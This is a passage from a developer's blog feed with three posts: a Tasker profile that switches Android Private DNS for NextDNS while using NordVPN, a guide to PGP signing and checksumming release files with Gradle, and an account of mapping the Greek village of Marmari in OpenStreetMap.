Press <code>Add Exit Task</code> and Create a New Task ➕, “Launch NextDNS”<br />
Press ➕ to add an Action, and search for <code>Launch App</code><br />
Find NextDNS in the list and select it, then press the back arrow ⬅️</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/007.png">
<img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/007.png" alt="Tasker Exit Task" loading="lazy" /></span>
<figcaption>Tasker Exit Task</figcaption>
</figure><p></p>
<p>When disconnecting from NordVPN, the NextDNS app should launch and serve as a gentle reminder to connect to it.</p>
<div class="notice warning">
This Tasker profile will only work on Android 9 and below. From Android 10+, Tasker can no longer <a href="https://developer.android.com/guide/components/activities/background-starts">launch activities from the background</a>.
</div>
<h3 id="turn-private-dns-off-when-connecting-to-known-wifi" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#turn-private-dns-off-when-connecting-to-known-wifi">Turn Private DNS off when connecting to known WiFi</a></h3>
<p>The problem can be flipped on its head. Instead of sequential actions and workarounds, we can make an exception for known corporate networks, but enable Private DNS everywhere else.</p>
<p>Set up a profile for <code>WiFi connected</code>, with both the entry and exit task the same, <code>Private DNS</code>. In the task, the pseudo logic is:</p>
<pre><code>If connected to wifi
If connected to the work network
Set Private DNS to 'Opportunistic' (automatic)
Else
Set Private DNS to 'Hostname' (the NextDNS server)
Else(mobile network)
Set Private DNS to 'Hostname' (the NextDNS server)
</code></pre>
<p>The Tasker screen is a little complicated to look at due to the nested If/Elses</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/011.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/011.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/012.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/012.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/013.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/013.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<figcaption>Turn Private DNS on or off based on WiFi network name</figcaption></figure>
<p>Using <code>If</code> in the task, you can check <code>%WIFII ~ *connection*</code> which matches if you are connected to a WiFi network.</p>
<p>The nested <code>If</code> checks the network names, you can add a bunch of known networks in here, separate them by <code>OR</code>s. <code>%WIFII ~ *work* OR %WIFII ~ *someother*</code></p>
<p>The <code>Custom Setting</code> task sets <code>private_dns_mode</code> to either <code>opportunistic</code> (automatic) or <code>hostname</code> (you need to set the actual hostname via the Android Settings panel)</p>
<p>The step to actually set the Private DNS requires <a href="https://tasker.joaoapps.com/userguide/en/help/ah_secure_setting_grant.html">additional prep work</a>. You must first enable Developer mode, then enable USB debugging, and from your PC, run</p>
<pre><code>adb shell pm grant net.dinglisch.android.taskerm android.permission.WRITE_SECURE_SETTINGS
</code></pre>
<p>This allows Tasker to set the Private DNS setting.</p>
<p>Tasker description:</p>
<pre><code>Profile: WiFi private Dns (18)
State: Wifi Connected [ SSID:* MAC:* IP:* Active:Any ]
Enter: Private Dns (8)
A1: [X] Flash [ Text:%WIFII Long:Off ]
A2: If [ %WIFII ~ *connection* ]
A3: If [ %WIFII ~ *work* | %WIFII ~ *someother* ]
<Automatic DNS>
A4: Custom Setting [ Type:Global Name:private_dns_mode Value:opportunistic Use Root:Off Read Setting To: ]
A5: Else
<Private DNS>
A6: Custom Setting [ Type:Global Name:private_dns_mode Value:hostname Use Root:Off Read Setting To: ]
A7: End If
A8: Else
<Private DNS>
A9: Custom Setting [ Type:Global Name:private_dns_mode Value:hostname Use Root:Off Read Setting To: ]
A10: End If
Exit: Private Dns (8)
A1: [X] Flash [ Text:%WIFII Long:Off ]
A2: If [ %WIFII ~ *connection* ]
A3: If [ %WIFII ~ *work* | %WIFII ~ *someother* ]
<Automatic DNS>
A4: Custom Setting [ Type:Global Name:private_dns_mode Value:opportunistic Use Root:Off Read Setting To: ]
A5: Else
<Private DNS>
A6: Custom Setting [ Type:Global Name:private_dns_mode Value:hostname Use Root:Off Read Setting To: ]
A7: End If
A8: Else
<Private DNS>
A9: Custom Setting [ Type:Global Name:private_dns_mode Value:hostname Use Root:Off Read Setting To: ]
A10: End If
</code></pre>
<p>This allows use of NextDNS everywhere <em>while</em> having NordVPN running: via Private DNS in most places; on work networks the Linked IP profile helps fills the gap.<br />
The only catch is that if you encounter a WiFi network where you cannot connect, you must remember to add it to the Tasker profile.</p>
<p>It may be possible to take this a step further: add another check in Tasker which tests whether port <code>853</code> of the NextDNS server is reachable and automatically set or un-set Private DNS, instead of relying on a list. This could potentially be accomplished via a Tasker shell task which calls</p>
<pre><code>nc -v -w5 -z 924d45.dns.nextdns.io 853
</code></pre>
<p>And parsing its response.</p>
<h2 id="conclusions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#conclusions">Conclusions</a></h2>
<p>Don’t make things complicated, try sticking to a middle ground.</p>
Using Gradle to PGP sign and checksum files2019-10-10T00:00:00Zhttps://code.mendhak.com/gradle-pgp-sign-securely/<p>When creating software for distribution to end users, it’s a good idea to enable checking its integrity and trustworthiness.</p>
<p>A checksum file allows a user to download the file and ensure that it wasn’t corrupted during download or replaced on the server by an attacker. A signature file allows a user to verify that it actually came from the developer.</p>
<h2 id="creating-a-checksum-file" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gradle-pgp-sign-securely/#creating-a-checksum-file">Creating a checksum file</a></h2>
<p>A simple way to do this is to use the <code>ant</code> <a href="https://ant.apache.org/manual/Tasks/checksum.html">checksum</a> integration that <a href="https://docs.gradle.org/current/userguide/ant.html">comes with Gradle</a>. There are several algorithms to choose from including MD5, SHA-1, SHA-256 and SHA-512. This will create a <code>myFile.SHA256</code> file, where <code>myFile</code> is the thing you want to distribute to users, such as an <code>.exe</code> or <code>.apk</code>.</p>
<pre class="language-groovy"><code class="language-groovy">ant<span class="token punctuation">.</span><span class="token function">checksum</span><span class="token punctuation">(</span>file<span class="token punctuation">:</span> <span class="token string">'myFile'</span><span class="token punctuation">,</span> fileext<span class="token punctuation">:</span> <span class="token string">'.SHA256'</span><span class="token punctuation">,</span> algorithm<span class="token punctuation">:</span> <span class="token interpolation-string"><span class="token string">"SHA-256"</span></span><span class="token punctuation">,</span> pattern<span class="token punctuation">:</span> <span class="token interpolation-string"><span class="token string">"{0} {1}"</span></span><span class="token punctuation">)</span></code></pre>
<h2 id="creating-a-signed-file" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gradle-pgp-sign-securely/#creating-a-signed-file">Creating a signed file</a></h2>
<p>Gradle comes with a <a href="https://docs.gradle.org/current/userguide/signing_plugin.html">signing plugin</a>. First apply the plugin in your <code>build.gradle</code>,</p>
<pre class="language-groovy"><code class="language-groovy">apply plugin<span class="token punctuation">:</span> <span class="token string">'signing'</span></code></pre>
<p>You’ll need to provide the signing plugin with the PGP key ID and passphrase to use. There are several ways to do this, one way is to create file at <code>~/.gradle/gradle.properties</code></p>
<pre class="language-ini"><code class="language-ini"><span class="token key attr-name">signing.gnupg.keyName</span><span class="token punctuation">=</span><span class="token value attr-value">ABCD1234</span>
<span class="token key attr-name">signing.gnupg.passphrase</span><span class="token punctuation">=</span><span class="token value attr-value">hunter2</span></code></pre>
<p>The advantage of this gradle.properties file is that it sits outside source control, no accidental commits, and its properties are read by Gradle when a task is run.</p>
<p>Finally you can sign the file, this will create a <code>myFile.asc</code> file with a PGP signature in it.</p>
<pre class="language-groovy"><code class="language-groovy">signing <span class="token punctuation">{</span>
<span class="token function">useGpgCmd</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
sign <span class="token function">file</span><span class="token punctuation">(</span><span class="token string">'myFile'</span><span class="token punctuation">)</span>
<span class="token punctuation">}</span></code></pre>
<p><code>useGpgCmd()</code> will use the GPG executable on your system, this should already be present on Linux systems. With Windows you’d need to install GPG, it comes with with <a href="https://git-scm.com/">Git for Windows</a>.</p>
<div class="notice warning">
You will find <a href="https://docs.gradle.org/current/userguide/signing_plugin.html#sec:signatory_credentials">other instructions</a> where a <code>key</code>, <code>password</code> and <code>secretKeyRingFile</code> file are required. However, since GPG 2.1 <a href="https://gnupg.org/faq/whats-new-in-2.1.html#nosecring">there is no secring file</a>, so it is better to <code>useGpgCmd()</code> instead.<br />
</div>
<h3 id="all-together-in-a-gradle-task" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gradle-pgp-sign-securely/#all-together-in-a-gradle-task">All together in a Gradle task</a></h3>
<p>In this example, I’m creating an Android APK, its checksum and signature files in a task.</p>
<pre class="language-groovy"><code class="language-groovy">task <span class="token function">createVerificationFiles</span><span class="token punctuation">(</span>group<span class="token punctuation">:</span><span class="token string">'build'</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">def</span> finalApkName <span class="token operator">=</span> <span class="token interpolation-string"><span class="token string">"gpslogger-"</span></span><span class="token operator">+</span>android<span class="token punctuation">.</span>defaultConfig<span class="token punctuation">.</span>versionName<span class="token operator">+</span><span class="token interpolation-string"><span class="token string">".apk"</span></span>
copy<span class="token punctuation">{</span>
from <span class="token interpolation-string"><span class="token string">"build/outputs/apk/release/gpslogger-release.apk"</span></span>
into <span class="token interpolation-string"><span class="token string">"./"</span></span>
<span class="token comment">// copy and rename file</span>
rename <span class="token punctuation">{</span> String fileName <span class="token operator">-></span>
fileName<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token interpolation-string"><span class="token string">"gpslogger-release.apk"</span></span><span class="token punctuation">,</span> finalApkName<span class="token punctuation">)</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">file</span><span class="token punctuation">(</span>finalApkName<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">isFile</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token comment">//PGP Sign</span>
signing <span class="token punctuation">{</span>
<span class="token function">useGpgCmd</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
sign <span class="token function">file</span><span class="token punctuation">(</span>finalApkName<span class="token punctuation">)</span>
<span class="token punctuation">}</span>
<span class="token comment">//SHA256 Checksum</span>
ant<span class="token punctuation">.</span><span class="token function">checksum</span><span class="token punctuation">(</span>file<span class="token punctuation">:</span> finalApkName<span class="token punctuation">,</span> fileext<span class="token punctuation">:</span> <span class="token string">'.SHA256'</span><span class="token punctuation">,</span> algorithm<span class="token punctuation">:</span> <span class="token interpolation-string"><span class="token string">"SHA-256"</span></span><span class="token punctuation">,</span> pattern<span class="token punctuation">:</span> <span class="token interpolation-string"><span class="token string">"{0} {1}"</span></span><span class="token punctuation">)</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<h2 id="verifying-your-downloads" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gradle-pgp-sign-securely/#verifying-your-downloads">Verifying your downloads</a></h2>
<p>Help your users out by sharing instructions on how to verify your downloads.</p>
<h3 id="verify-the-checksum" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gradle-pgp-sign-securely/#verify-the-checksum">Verify the checksum</a></h3>
<p>To verify the checksum file, you can use <code>sha256sum</code>, if you used SHA-512, you can use <code>sha512sum</code> on Linux.</p>
<pre class="language-bash"><code class="language-bash">sha256sum <span class="token parameter variable">-c</span> ~/Downloads/myFile.SHA256</code></pre>
<h3 id="verify-the-signature" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gradle-pgp-sign-securely/#verify-the-signature">Verify the signature</a></h3>
<p>Users will first need to import your public PGP key. Easy ways are via <a href="https://keybase.io/mendhak">keybase</a> or a receive key command</p>
<pre class="language-bash"><code class="language-bash">gpg --recv-key 6989CF77490369CFFDCBCD8995E7D75C76CBE9A9</code></pre>
<p>You can then verify the <code>.asc</code></p>
<pre class="language-bash"><code class="language-bash">gpg <span class="token parameter variable">--verify</span> ~/Downloads/myFile.asc</code></pre>
My OpenStreetMap workflow: mapping the village of Marmari, Evia2019-09-24T00:00:00Zhttps://code.mendhak.com/openstreetmap-workflow-marmari/<p>Although I’m not a prolific or advanced editor, I do enjoy contributing to OpenStreetMap. I’ll generally perform edits when I notice new changes in my area or while on holiday when I find certain features, trails or details are missing.</p>
<p>I recently visited the village of Marmari, Evia (Μαρμάρι, Εύβοια) in Greece and noticed that OpenStreetMap had almost no info on this place; there were no street names, stores or ATMs, even though they did exist in real life. The ‘before’ is pretty bleak.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/marmari_empty.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/marmari_empty.png" alt="Map view of Marmari before edits, with very few labeled features" title="" loading="lazy" /></span>
<figcaption>Before…</figcaption>
</figure><p></p>
<p>I spent some time filling in missing information and bringing the <a href="https://www.openstreetmap.org/#map=18/38.04896/24.32156">end result</a> into a decent state, though it isn’t a complete picture of the village. There were still a lot of steps and considerations involved in getting the data into OpenStreetMap, and I thought it would be helpful to write up the workflow I followed, loosely, along with additional details that I generally look for when doing OpenStreetMap work.</p>
<figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/final_marmari_osm.png"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/final_marmari_osm.png" alt="Map view of Marmari after edits with several filled in streets and features" loading="lazy" style="" /></span><figcaption>And after.</figcaption></figure>
<h2 id="recording-traces-and-noteworthy-things" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#recording-traces-and-noteworthy-things">Recording traces and noteworthy things</a></h2>
<p>The first thing I find important is to record my trail. While out and about, I’ll constantly be recording my location using <a href="https://gpslogger.app/">GPSLogger</a>. When passing by a certain point of interest or something I noticed isn’t on OpenStreetMap, I’ll make an annotation. It doesn’t have to be perfect, just enough to say that there’s a thing in the vicinity of this point. That’s usually enough to reference it later. GPSLogger can upload to OpenStreetMap as a trace, so I’ll upload my gpx file at the end of the day. The GPX file is recorded as a <code>trk</code> (track), and the annotations are <code>wpt</code> (waypoint).</p>
<p>Sometimes I need more precise pinpointing, for that I’ll use OSMAnd’s bookmark feature - I’ll long press at the exact point and add to an OSM category.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Screenshot_20190924-203610_GPSLogger.png"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Screenshot_20190924-203610_GPSLogger.png" alt="GPSLogger add description dialog" title="" loading="lazy" data-caption="Annotations in GPSlogger" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Screenshot_20190924-211004_GPSLoggerOSM.png"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Screenshot_20190924-211004_GPSLoggerOSM.png" alt="OpenStreetMap settings screen" title="" loading="lazy" data-caption="GPSLogger OSM configuration" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Screenshot_20190924-203817_OsmAnd.png"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Screenshot_20190924-203817_OsmAnd.png" alt="OSMAnd long press to add a category" title="" loading="lazy" data-caption="OSMAnd bookmarks" style="width: calc(33% - 0.5em);" /></span>
<figcaption>Making annotations and upload traces to OpenStreetMap</figcaption></figure>
<h3 id="what-counts-as-noteworthy" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#what-counts-as-noteworthy">What counts as noteworthy</a></h3>
<p>From my perspective, if someone were to visit Marmari, it would be useful for them to know where the basic necessities are. This would be the ATM and grocery store. On Marmari, the grocery store was not open all day, making timings important for visitors. It would also be important to know the location of the ferry ticket office, for their return ticket to the mainland.</p>
<p>What counts as noteworthy will be different for each person. I usually like to know whether a shop I’m going to accepted credit cards, contactless, or was cash-only. Whether there’s a post office here. Sometimes a hiking trail may be missing a gate or has been closed off. A rest area may no longer exist, or a bridge now has a sidewalk for pedestrians.</p>
<p>It’s worth understanding that OpenStreetMap isn’t just a map similar to Google Maps, it is better to think of it as a data store, and other map makers derive and present <em>their</em> maps to you from this source. For example, there are some map applications which help users with accessibility - noteworthy info for them would be details like wheelchair access, or whether a pedestrian crossing has tactile paving. Adding this information in can be useful to a wider scope of people.</p>
<h2 id="using-the-traces" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#using-the-traces">Using the traces</a></h2>
<p>One of the best features of OpenStreetMap is that you can make edits right in your browser. Once I’ve uploaded my trace for the day, I’ll go to <a href="https://www.openstreetmap.org/traces/mine">my traces</a>, and click edit.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_054.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_054.png" alt="My GPS traces screen showing uploaded traces" title="" loading="lazy" /></span>
<figcaption>OSM Traces</figcaption>
</figure><p></p>
<p>This opens up the edit view and overlays the trace along with annotations.</p>
<p>The annotations are simply indicators as to what was in the vicinity, not the actual objects themselves. Having the Bing aerial imagery provided helps find the actual points of interest relative to the nearby buildings and streets. In the example below I’ve indicated some monuments and columns, and benches, so this area would be of interest to tourists to wander about, query some details about the monuments, and rest on the benches and enjoy the sea view.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_055.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_055.png" alt="Edit view on OpenStreetMap with the recorded track overlayed and annotated" title="" loading="lazy" /></span>
<figcaption>OSM Edit View with overlay</figcaption>
</figure><p></p>
<h2 id="adding-features-to-the-map" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#adding-features-to-the-map">Adding features to the map</a></h2>
<p>There were many different aspects involved here so I’ll go over each type of feature. Editing this village felt overwhelming at first, as the tendency to document <em>everything</em> kicked in, however I tried to focus on a small amount of useful information.</p>
<h3 id="supermarkets" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#supermarkets">Supermarkets</a></h3>
<p>Here I’m adding the building Καλλιανιωτης Supermarket. This store would close between 2PM and 5:30PM which caught me unaware, and these timings were not written anywhere making it very much local knowledge; that made it definitely worth recording for other visitors. The telephone number as well as wheelchair accessibility were useful to know. Additionally, this shop did not accept credit cards; like many parts of Greece, it was cash only. With that I added as many details as I could understand including address and phone number.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_056.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_056.png" alt="Adding supermarket feature to OpenStreetMap" title="" loading="lazy" /></span>
<figcaption>Supermarkets with details</figcaption>
</figure><p></p>
<h3 id="atms-and-shops" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#atms-and-shops">ATMs and shops</a></h3>
<p>There was one ATM I could find near the church. I recorded its currency as well as whether it charged any fees.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_057.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_057.png" alt="OpenStreetMap tags for Piraeus Bank" title="" loading="lazy" /></span>
<figcaption>ATMs and shops</figcaption>
</figure><p></p>
<p>There was also a bakery shop, a general store and a <a href="https://en.wikipedia.org/wiki/Taverna">taverna</a>. Despite checking I was unable to find opening times on the doors, in the shops or on the menus, and I was too shy to verbally ask, so I left it to a future mapper.</p>
<h3 id="ticket-offices-and-shelters-waiting-areas" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#ticket-offices-and-shelters-waiting-areas">Ticket offices and shelters/waiting areas</a></h3>
<p>While in Marmari, there were very strong winds and the ferries had shut down for a few days in between. Knowing the location of the ticket office became of great importance: it was the only place where the frequently modified schedules were available at short notice. We were also given advice regarding tickets - for an early ferry ride, it was best to get the ticket the evening before.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/ferry_times.jpg">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/ferry_times.jpg" alt="Board with handwritten departure times for ferries for that week" title="" loading="lazy" /></span>
<figcaption>Ferry times</figcaption>
</figure><p></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_058.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_058.png" alt="OpenStreetMap tags for ferry ticket office" title="" loading="lazy" /></span>
<figcaption>Ferry tickets</figcaption>
</figure><p></p>
<p>On other days, it was also oppressively hot and staying in the sun for too long was impairing my cognitive functions. Shelters and waiting areas suddenly became another point of interest. I recorded whether it had benches as well as lighting with a bit of description.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_059.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_059.png" alt="OpenStreetMap tags for shelters and waiting areas" title="" loading="lazy" /></span>
<figcaption>Waiting areas</figcaption>
</figure><p></p>
<p>Together, these features should help visitors know where to buy their tickets and spend some time waiting if necessary.</p>
<h3 id="how-to-write-in-another-language" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#how-to-write-in-another-language">How to ‘write’ in another language</a></h3>
<p>The signs, names and inscriptions were of course in Greek - and this needed to be reflected in the data entered into OpenStreetMap, that is, in the <code>name</code> tag. Where the place had an equivalent English name, that was entered as a <code>name:en</code> tag. But then, how would I go about writing in a non-English language? I only had a phone and a laptop with a UK layout keyboard with me.</p>
<p>I tried a few ways of ‘copying’ the text from photos of those signs. Using a Greek soft-keyboard was proving too difficult and error prone. Translation via image recognition software was not helping either, it was expecting perfect lettering, and even then it would produce incorrect results.</p>
<p>The best way I eventually settled on was to use Google Translate’s handwriting recognition feature. While writing the letters, it offers suggestions in upper and lower case and you can pick the closest match. The recognition is actually very good. Here I am writing <code>ΟΔΟΣ</code> which is the Greek word for ‘street’ and <code>ΕΘΝΙΚΉ</code> which means ‘national’.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/handwriting.png"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/handwriting.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/handwriting2.png"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/handwriting2.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Handwriting Greek</figcaption></figure>
<p>Once the correct or closest text wa/assets/images/nextdns-nordvpn/007.pngs chosen, I would copy it, send it to myself on my laptop.</p>
<p>But that still wasn’t enough - <a href="https://wiki.openstreetmap.org/wiki/Naming_conventions">street names should be entered in mixed case</a>, even though the nameplates were all uppercase Greek.</p>
<p>To conform to the convention, I ran the script through a simple Python one-liner to convert it to Title Case. Thankfully Python3 is comfortable working with Unicode to help me here.</p>
<pre class="language-bash"><code class="language-bash">python3 <span class="token parameter variable">-c</span> <span class="token string">"print('ΑΝΘΥΠΟΛΟΧΑΓΟΣ ΣΤΑΜ. Κ. ΡΕΓΓΟVKOV'.title())"</span></code></pre>
<p>Which gives the output</p>
<blockquote>
<p>Ανθυπολοχαγος Σταμ. Κ. Ρεγγοvkov</p>
</blockquote>
<p>Armed with this technique, I could now tackle monuments and street names.</p>
<h3 id="monuments-and-sculptures" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#monuments-and-sculptures">Monuments and sculptures</a></h3>
<p>I like the idea of recording memorials, monuments and sculptures. Not the large, well known ones, but the smaller ones that we often walk by without noticing. There is a certain timelessness to them in the attempt made by people from years, decades or centuries ago to preserve a certain idea or event which may not register as significantly for us as it did for them.</p>
<p>For this reason it’s also useful not just to record the monument’s position but to take a photo of the inscription on it as well.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/monument2.jpg"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/monument2.jpg" alt="White monument with flame on top" title="" loading="lazy" data-caption="Greek resistance movement memorial, 1940s" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/monument3.jpg"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/monument3.jpg" alt="War Memorial" title="" loading="lazy" data-caption=" " style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/monument4.jpg"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/monument4.jpg" alt="Sculpture of sailor holding a wheel, with one arm extended" title="" loading="lazy" data-caption="Monument to lost sailors" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/monument5.jpg"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/monument5.jpg" alt="Closeup of Greek writing on monument" title="" loading="lazy" data-caption=" " style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<p>I followed the handwriting-to-text technique mentioned above and added those as inscriptions against the monuments.</p>
<p>The column with a flame on top was a monument dedicated to <a href="https://en.wikipedia.org/wiki/Greek_Resistance">Greek Resistance</a>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_061.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_061.png" alt="OpenStreetMap fields filled for war memorial" title="" loading="lazy" /></span>
<figcaption>Inscription for Greek Resistance memorial</figcaption>
</figure><p></p>
<p>The statue of the sailor near the ferry ticket office was a monument to lost sailors. I learned that most Greek ferry ports have a monument and came across <a href="https://translate.google.com/translate?sl=auto&tl=auto&u=https%3A%2F%2Fforum.nautilia.gr%2Fshowthread.php%3F24788">this interesting forum thread</a> with some enthusiasts.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_062.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_062.png" alt="OpenStreetMap fields filled for monument to lost sailors" title="" loading="lazy" /></span>
<figcaption>Inscription for monument to lost sailors</figcaption>
</figure><p></p>
<h4 id="wikidata-and-national-websites" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#wikidata-and-national-websites">Wikidata and National Websites</a></h4>
<p>Some monuments have a Wikidata ID. If the name is known I’ll search for the ID of the monument on <a href="https://www.wikidata.org/">Wikidata</a>. In the editor, adding the field <code>Wikidata</code> with a value such as <code>Q9202</code> will automatically fill in some details. This is more common with buildings and monuments in the UK/US.</p>
<p>Some countries also have national websites which document details of statues and monuments. In the UK, this is <a href="https://historicengland.org.uk/">Historic England</a> and I’ll usually add the monument’s URL to an <code>inscription:url</code> field in the tags.</p>
<h3 id="street-names" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#street-names">Street names</a></h3>
<p>I believe Marmari actually may have had no street names until just a few years ago. This isn’t uncommon in smaller villages even today - either you’ll know where you need to go, or the streets are just numbered for verbal reference. As the place grows due to population and tourism, the necessity of street names arises. However finding information to corroborate this has been very difficult. In some villages, street names <em>do</em> exist but it’s rare for them to put up signs.</p>
<p>I walked around the streets and took photographs of the street nameplates that had been put up.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/street_name_1.jpg"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/street_name_1.jpg" alt="Street pole and house, with street name on the house facade" title="" loading="lazy" data-caption="I couldn’t fully translate this one" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/street_name_2.jpg"><img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/street_name_2.jpg" alt="Street name on the facade" title="" loading="lazy" data-caption="Ι. ΒΟΓΑΤΖΑ" style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<p>Same as before, I hand-converted to text and applied Python3 to help convert to title case. It’s worth noting the names shortened with <code>.</code> in the street names. It would be good to find the full names of the streets to add. Further, it would also be good to verify that the text was correct.</p>
<p>For the street, <code>Ι. ΒΟΓΑΤΖΑ</code>, I did a Google search of <code>ΒΟΓΑΤΖΑ</code> with <code>ΜΑΡΜΑΡΙ</code>, which would lead to pages containing addresses. These addresses would be various businesses, law firms, electricians, etc. Having the pages listed with these addresses helped confirm that the street name is <code>Ιωάννου Βογατζα</code>. Continuing this method of searching also worked for most of the other streets nearby.</p>
<p>It didn’t work for <em>all</em> the streets though.</p>
<blockquote>
<p>ΑΝΘΥΠΟΛΟΧΑΓΟΣ ΣΤΑΜ. Κ. ΡΕΓΓΟVKOV</p>
</blockquote>
<p>There’s a <code>ΣΤΑΜ.</code> - which may be short for <code>Σταμάτη</code> - however I was unable to confirm this. To avoid any errors or problems, I decided to keep this street names exactly as shown on the sign. This would make it easier for others in the future to correct it if necessary.</p>
<h3 id="benches" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#benches">Benches</a></h3>
<p>At least benches are pretty simple. Add a point, and make it of type bench. I’ll usually add in the type of material and how many people it can seat.</p>
